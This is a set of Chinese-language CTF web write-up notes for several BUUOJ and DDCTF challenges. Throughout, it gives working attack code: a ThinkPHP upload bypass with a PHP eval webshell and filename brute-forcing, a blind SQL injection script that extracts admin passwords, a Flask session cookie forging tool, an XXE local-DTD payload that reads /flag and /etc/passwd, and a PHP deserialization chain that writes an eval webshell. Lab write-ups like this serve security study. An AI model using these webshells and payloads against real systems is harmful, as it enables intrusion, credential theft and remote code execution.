web点2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}

}

think PHP 的框架 默认上传路径为

1
/home/index/upload
1
$_FILES[file]限制了不能是.php文件 

$upload->allowExts 并不是 Think\Upload 类的正确用法,所以 allowexts 后缀名限制是无效的。

thinkphp 的upload()函数不传参时是多文件上传整个$_FILE数组的文件都会上传保存

限制了上传后缀 也给出上传后的路径 上传多文件就能绕过.php限制

接下去是上传后的php文件名 :

1
'saveName'     => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 

uniqid生成文件名 同时上传txt和php因为文件名接近

构造包来爆破txt文件名后三位 0-9 a-f的文件名就能猜到php文件名

上传代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
'''方法一'''
url = 'http://22a640cb-bdce-4cb4-92c3-f23fc8cc1fec.node4.buuoj.cn:81/index.php/home/index/upload'
s = requests.Session()

file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)

'''爆破'''

dir ='abcdefghijklmnopqrstuvwxyz0123456789'

for i in dir:
for j in dir:
for k in dir:
for x in dir:
for y in dir:
url = 'http://22a640cb-bdce-4cb4-92c3-f23fc8cc1fec.node4.buuoj.cn:81/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
print(url)
r = requests.get(url)
if r.status_code == 200:
print(url)
break
'''
#方法2
url = "http://9b96c9f8-7b74-491a-94fd-f8063d1b8a29.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)
'''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#盲注脚本
import requests

flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1' #库名为news

#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1' #表名为admin,contents

#查字段
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'contents\')),{},1))>{})^1' #admin表里有id,username,password,is_enable
# contents表里有id,title,content,is_enable

#查字段值
payload4 = '1^(ascii(substr((select(group_concat(password))from(admin)),{},1))>{})^1'



for i in range(1,100):
low =28
high =137
mid = (low + high) // 2

while(low < high):
url = 'http://af7d1090-d916-4350-8828-1bfb62212ceb.node4.buuoj.cn:81/backend/content_detail.php?id='
payload = payload4.format(i,mid)
url+=payload
print(url)
r = requests.get(url)
text = str(r.json())

if "札师傅缺个女朋友" in text:
low = mid + 1
else:
high = mid

mid = (low + high) // 2

if(chr(mid)==''):
break
flag +=chr(mid)
print(flag)

print(flag)

[DDCTF 2019]homebrew event loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

一些可以进行的操作?action:

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:
\# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')

数量>=5flag会被写入session当中 问题在于如何绕过这个数量 需要调用自己循环来绕过

1
2
3
4
5
6
7
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

购买函数这是改变余额再判断是否合法 需要在调用buy_handler时同时传入get_flag

处理队列就变成余额的改变->get_flag->不合法 就能把flag写入session了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route(url_prefix+'/')#使用 route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数
def entry_point():
querystring = urllib.unquote(request.query_string)
#urllib.unquote :urlencode逆向,就是把%40转化为@(字符串被当作url提交时会被自动进行url编码处理,在python里也有个urllib.urlencode的方法,可以很方便的把字典形式的参数进行url编码)
#request.query_string:它得到的是,url中?后面所有的值,最为一个字符串,比如action:index;False#False
request.event_queue = [] #定义一个数组
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
#如果这个url?后面的值为空 或者 这个url?后面的值不是以action开头 或者 这个url?后面的值长度大于100
querystring = 'action:index;False#False'
if 'num_items' not in session: #如果session里面还没有num_items这个key
session['num_items'] = 0 #钻石数量
session['points'] = 3 #积分数量
session['log'] = []
request.prev_session = dict(session) #新建一个字典request.prev_session使其的值为字典session的值
trigger_event(querystring) #调用了trigger_event
return execute_event_loop() #进入到execute_event_loop函数

trigger_event将要执行的函数传入队列 但只执行一次 将trigger_event传入就能调用多个函数然后进入execute_event_loop进入循环

1
2
3
4
5
6
7
8
def trigger_event(event):
session['log'].append(event)#将event添加到session['log']这个列表中
if len(session['log']) > 5: #如果列表session['log']中的元素数量大于等于5
session['log'] = session['log'][-5:]#session['log']取后五个元素
if type(event) == type([]): #如果event的类型是列表
request.event_queue += event #两个列表相加,在列表request.event_queue中添加一个元素 event
else:
request.event_queue.append(event) #在列表request.event_queue中添加一个元素 even

execute_event_loop函数里面的代码

1
2
3
is_action = event[0] == 'a' 
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')

action的话直接返回下一个;之后的内容 用#进行分割并返回一个列表到arg里

这里有一个任意函数调用。action传入之后会有一个后缀拼接,但是可以直接用#绕过,因为是eval执行的,eval会把这个字符串当作python代码执行,所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:#当钻石数量大于等于5的时候
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())#调用这个函数,上面也说了这个函数会把形参传入session['log']列表中
trigger_event('action:view;index')
1
?action:trigger_enent#;action:buy;2#action:buy;#action:get_flag;#

session 解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

Flask路由方式,尝试local_file:///读取文件

app/app.py 可能可以读取到源码

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

随机数种子为uuidgetnode():函数用于获取Mac地址并将其转换为整数。

flask读取Mac地址local_file:///sys/class/net/eth0/address

155.542754368155.542754368

Flask-Session脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))


使用方法: encode /decode -s '随机数种子' -t “写入的内容”

create_function() 相当于eval

1
<?php $func =create_function('',$_POST['cmd']);$func();?>

php的create_function 会创建匿名函数 返回函数名称 (lambda_[0-999]) 不断访问 数字也会逐步增加 增加到最大长度就结束了通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了

不断访问的脚本:

1
2
3
4
5
6
7
import requests
while True:
r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')

也可以通过遍历数字来爆破得到生成的函数是多少

1
有create_function()的可以试试%00lambda_[]

如果direction设置为upload,首先判断是否正常上传,通过则在$dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256值,之后限制目录穿越,创建相应目录,把文件上传到目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
}


伪造session

php的session默认存储文件名是sess_+PHPSESSID的值,我们先看一下session文件内容。
查看cookie中PHPSESSID

5f3b3f5cc3de6d9f19bfd35f2614ec9d

1
usernames:5:"guest";

一个不可见字符

  1. 不同的引擎所对应的session的存储方式有

  2. php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

  3. php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

  4. php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("C:\PHPTutorial\PHPTutorial\WWW");
session_start();

$_SESSION['username'] = 'admin';


本地生成session文件 将文件名改为sess并计算sha256

1
<?phpecho hash_file('sha256', 'C:\PHPTutorial\PHPTutorial\WWW\sess')

拼接 sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 这就是文件名了

将sess文件上传,服务器储存该文件的文件名就应该是
sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

有json数据的地方可能存在xxe

用postman来传参 修改Content-Type为xml

1
2
Start tag expected, '<' not found, line 1, column 
意思应该是start标签没有找到第一行第一列,这意味着它需要某种XML数据

JSON数据修改为一个有效的XML字符串,

1
<?xml version="1.0" encoding="UTF-8"?>

这一行是 XML 文档定义,然后将整个数值包装在成为根节点的消息标记中

json:{“脑袋(随便起的名字)”:”data”} =>xml <脑袋> </脑袋>

也可以加载外部实体(有的支持)

1
<!ENTITY % remote-dtd SYSTEM "外部实体的地址">

尝试加载文件:

1
<!ENTITY % remote-dtd SYSTEM "/etc/passwd">

加载内部DTD 需要加载HC密码 并破解

1a.png

2a.png

Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。

输入错误的文件名 回显中文件名也和错误文件名一样 这是可以滥用的

读取了所需文件的内容,它可以是一个/flag,它也可以使/etc/password,然后我们可以尝试读取另一份文件,但是我们要确保第二个是个假文件名是我们刚刚读取第一份文件的内容,显然这会给我们一个错误,因为没有文件名作为第一个文件的内容,在错误中我们得到了文件的名称,我们尝试阅读那些意味着,我们也会取回第一个文件的内容,因此使用本地DTD,通过XXE读取任意文件,让我们尝试这个阶段

3a.png

最终数据:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

1
2
3
4
5
6
7
8
9
10
11
public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}

save功能的store用到了set set在b类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

​ if (is_null($expire)) {
​ $expire = $this->options['expire'];
​ }

​ $expire = $this->getExpireTime($expire);
​ $filename = $this->getCacheKey($name);

​ $dir = dirname($filename);

​ if (!is_dir($dir)) {
​ try {
​ mkdir($dir, 0755, true);
​ } catch (\Exception $e) {
​ // 创建失败
​ }
​ }

​ $data = $this->serialize($value);

​ if ($this->options['data_compress'] && function_exists('gzcompress')) {
​ //数据压缩
​ $data = gzcompress($data, 3);
​ }

​ $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
​ $result = file_put_contents($filename, $data);

​ if ($result) {
​ return $filename;
​ }

​ return null;
}

b类 set方法 将a类中的store在b类里实例化了

set方法 会将文件名随机 然后过滤了.php的后缀 类似于限制文件上传

date变量 然后有进行拼接 但是后面跟了exit() exit()推出当前脚本 用file_put_contents()将date写入

5a.png

绕过这个后缀检测 可以使用

1
2
3
key = /../aaa.php/.

因为在做路径处理的时候,会递归的删除掉路径中存在的 `/.`从而传入的东西是`./penson.php`,而传入之前,是 `/../penson.php/.`,通过目录穿越,让文件名固定,并且绕过.php后缀的检查

绕过exit()

6a.png

写马的话会拼接exit() 就可能不成功

7a.png

8a.png

9a.PNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A{
protected $store;
protected $key;
protected $expire;


public $cache =[];
public $complete = true;

public function __construct () {
$this->store = new B();
$this->key = '/../aaa.php/.';

$this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];

}

}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
];
}
$a = new A();
echo urlencode(serialize($a));

?>
1
连接密码是penson